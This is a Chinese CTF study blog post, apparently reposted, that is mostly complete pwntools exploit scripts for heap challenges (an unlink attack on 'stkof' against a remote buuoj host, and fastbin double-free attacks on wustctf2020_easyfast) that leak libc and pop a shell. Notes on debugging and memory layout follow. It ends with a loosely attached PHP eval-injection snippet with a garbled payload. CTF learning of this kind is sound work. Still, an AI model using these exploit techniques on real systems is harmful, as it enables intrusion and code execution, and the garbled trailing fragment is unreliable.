    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))

    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


    if __name__ == "__main__":
    exp()

    image-20211001222526577

  5. 我自己寫的exp

    from pwn import *
    from LibcSearcher import *
    io=remote("node4.buuoj.cn",25202)
    #io=process("./stkof")
    elf=ELF("./stkof")
    target=0x602140
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    free_got=elf.got["free"]
    puts_plt=elf.plt["puts"]
    puts_got=elf.got["puts"]
    atoi_got=elf.got["atoi"]

    def add(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    io.recvuntil(b"OK\n")

    def edit(index,size,content):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(content)#do not use "sendline",we don't need "\n"
    io.recvuntil(b"OK\n")

    def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
    #io.recvuntil(b"OK\n")

    add(0x100)
    add(0x30)
    add(0x80)

    payload=p64(0)+p64(0x20)+p64(target+16-0x18)+p64(target+16-0x10)+p64(0x20)+b'A'*8+p64(0x30)+p64(0x90)
    edit(2,len(payload),payload)
    #gdb.attach(io)
    free(3)
    io.recvuntil(b"OK\n")
    #
    payload=b'B'*8+p64(free_got)+p64(puts_got)+p64(atoi_got)
    edit(2,len(payload),payload)

    payload=p64(puts_plt)
    #why edit(0)
    edit(0,len(payload),payload)
    free(1)
    puts_addr=u64(io.recvuntil(b"\nOK\n",drop=True).ljust(8,b'\x00'))
    #puts_addr=u64(io.recv(8))
    print(hex(puts_addr))

    #libc=LibcSearcher("puts",puts_addr)
    libbase=puts_addr-libc.sym["puts"]
    system_addr=libbase+libc.sym["system"]
    str_bin_sh=libbase+next(libc.search(b"/bin/sh"))

    payload=p64(system_addr)
    #modify atoi@got
    edit(2,len(payload),payload)
    #it will use atoi() in the process
    io.send(p64(str_bin_sh))
    io.interactive()

     

  6. 總結:

    • unlink中實際的效果,注意結合攻擊實例

    • 此題中chunk數據構造的原因

      • size為當前chunk實際大小,prev_size為上一個chunk大小

      • 我們申請空間為0x80,實際分配空間為0x90,因為還有管理信息存在(size&prev_size)

      • 指針指向的內容:在本題中FD&BK都指向chunk實際開始地址,而真實的chunk指針不是指向chunk開頭

      • 注意在發送content的時候不能使用sendline,因為他會發送多余的"\n"

      • 為什么第一個payload要多加0x20?為了繞過以下檢測

        if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");

例10(wustctf2020_easyfast)

  1. checksec

  2. IDA程序分析

    • add:分配空間,並使bss段的*(buf+v1)指向該段空間

    • delete:沒有檢測是否已經free過,沒有在free后將其值NULL

    • edit:編輯chunk

    • backdoor:后門函數,當0x602090=0時獲得shell

  3. 思路:

    • 使用double free讓一個chunk指向0x602090-0x10

    • 編輯其中數據即可

    • 獲得shell、

  4. exp1

    from pwn import *
    #io=remote("node4.buuoj.cn",25205)
    io=process("./wustctf2020_easyfast")
    target=0x602080
    def add(size):
    io.recvuntil(b"choice>\n")
    io.sendline(b'1')
    io.recvuntil(b"size>\n")
    io.sendline(str(size).encode())

    def free(index):
    io.recvuntil(b"choice>\n")
    io.sendline(b'2')
    io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())

    def edit(index,content):
    io.recvuntil(b"choice>\n")
    io.sendline(b'3')
    io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())
    io.send(content)

    def backdoor():
    io.recvuntil(b"choice>\n")
    io.sendline(b'4')
    # why size=0x40
    add(0x40)
    add(0x40)
    free(0)
    edit(0,p64(target))
    add(0x40)
    add(0x40)
    edit(3,p64(0))
    backdoor()
    io.interactive()

    調試的時候free直接EOF error

    驗證:size是否合法

  5. exp2

    from pwn import *
    #io=remote("node4.buuoj.cn",25205)
    io=process("./wustctf2020_easyfast")
    target=0x602080
    def add(size):
    #io.recvuntil(b"choice>\n")
    io.sendline(b'1')
    #io.recvuntil(b"size>\n")
    io.sendline(str(size).encode())

    def free(index):
    #io.recvuntil(b"choice>\n")
    io.sendline(b'2')
    #io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())

    def edit(index,content):
    #io.recvuntil(b"choice>\n")
    io.sendline(b'3')
    #io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())
    io.send(content)

    def backdoor():
    io.recvuntil(b"choice>\n")
    io.sendline(b'4')

    add(0x40) #0
    add(0x40) #1
    free(0)
    free(1)
    free(0)
    add(0x40) #2
    edit(2,p64(target))
    add(0x40) #3
    log.success("1")
    gdb.attach(io)
    add(0x40) #4
    log.success("2")
    add(0x40) #5
    edit(5,p64(0))
    backdoor()
    io.interactive()

    該exp是使用了double free的方法,來自教學視頻的講師教解,但是講師可能修改了該題,他修改后的程序為

    image-20211005222827837

    但是我們的程序為:

    image-20211005222949871

    由圖可以看出,我們的程序僅允許3個使用中chunk,所以方法二失敗

  6. 總結:

    • 為什么size=0x40

      因為調試可以查看到0x602090處的上一字節為0x50,如果我們分配chunk到0x602080,那么其size就對應着0x50

    • 在def模擬程序函數的時候,千萬要使用單引號

      io.sendline(b'2')

記載一些遇到的錯誤

  1. 管道破裂

    image-20210718155258185

    • 原因:覆蓋的返回地址寫錯了

      image-20210718155333402

    • 首先排除地址隨機化:ASLR、NX、PIE

    • 可python運行的地址為0x7fffffffdf60

      image-20210718155503418

    • 修改后正確返回shell

    新問題:此類題如何尋找寫入的實際地址???

  2. 如何查看單條匯編指令產生變化

    檢測eip變化,棧溢出是否成功

  3. 哪些節位置位置是否固定

    • plt、got、got.plt節寫死在ELF文件中,從IDA即可觀察到其位置

    • 動態鏈接庫:如果打開ASLR則每次運行位置不固定,沒開ASLR則固定,但其中函數的之間的相對偏移量一定固定(不受任何保護措施影響)

    • 堆棧段:位置肯定不變,但有NX使其無法執行指令

    • bss:PIE開着位置不固定,沒有PIE則位置固定

<?php
highlight_file('index.php');高亮顯示

extract($_GET); php get post
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();

@eval("\$array = $data;");

return $array;
}

cat /flag
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
array("attrid的base64值"=>"attrvalue",...);
$attrids = count($attrid);
數參數
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';

if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}

String2Array($attrstr);

payload:attrid=0&attrvalue=systeam('c /flag');

request

136-563


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM